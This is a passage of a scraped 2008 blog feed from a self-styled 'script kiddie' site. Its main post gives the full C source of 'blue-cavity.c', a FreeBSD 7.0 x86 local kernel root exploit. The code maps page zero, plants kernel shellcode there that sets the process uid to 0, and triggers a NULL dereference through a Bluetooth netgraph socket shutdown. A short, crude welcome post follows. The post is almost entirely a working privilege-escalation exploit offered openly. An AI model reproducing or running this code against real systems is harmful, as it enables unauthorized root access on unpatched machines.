http://www.bsdcitizen.org XSS/SQL Script Kiddie Think-Tank | Unethical Spacker Outfit Sat, 27 Dec 2008 02:08:14 +0000 http://wordpress.org/?v=2.5.1 en http://www.bsdcitizen.org/2008/12/24/tooth-decay/ http://www.bsdcitizen.org/2008/12/24/tooth-decay/#comments Wed, 24 Dec 2008 20:49:08 +0000 christer http://www.bsdcitizen.org/2008/12/24/tooth-decay/ http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc.]]> /* blue-cavity.c * * FreeBSD >= 5.x local kernel root exploit for netgraph sockets... * by christer - Wed 29 Oct 2008 * * - Tested on: FreeBSD 7.0 (x86) * * This particular exploit requires a configured bluetooth device. * Look at src if you need to know why, if you don't have a bt dev * on the target you may get lucky with other netgraph stuff * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$! * * BSDCITIZEN source code may NOT be used by penetration testers * without written consent from BSDCITIZEN!!! * * christer [ at ] signedness.org / bsdcitizen.org */ #include <sys/types.h> #include <sys/socket.h> #include <sys/mman.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <bluetooth.h> #include <err.h> /* / Kernel shellcode for i386.. don’t do anything stupid like / trying it on ADM64 kernels etc…. */ static unsigned char shell[]= “\x64\xa1\x00\x00\x00\x00\x8b\x40″ “\x04\x8b\x40\x30\xc7\x40\x04\x00″ “\x00\x00\x00\xc3″; main() { int s; if(mmap(0,0×1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_ANON,-1,0)== MAP_FAILED) err(1,”mmap”); memcpy((void *)0×0,shell,sizeof(shell)); s=socket(PF_BLUETOOTH,SOCK_RAW,BLUETOOTH_PROTO_HCI); if(s<0) err(1,”socket”); shutdown(s,SHUT_WR); return 0×1337; } ]]> http://www.bsdcitizen.org/2008/12/24/tooth-decay/feed/ http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/ http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/#comments Wed, 10 Dec 2008 13:57:00 +0000 mu-b http://www.bsdcitizen.org/test/?p=3 We wish you a belated welcome to the premier info sec blog that is bsdcitizen.org! </pdp-like bullshit>.

]]> http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/feed/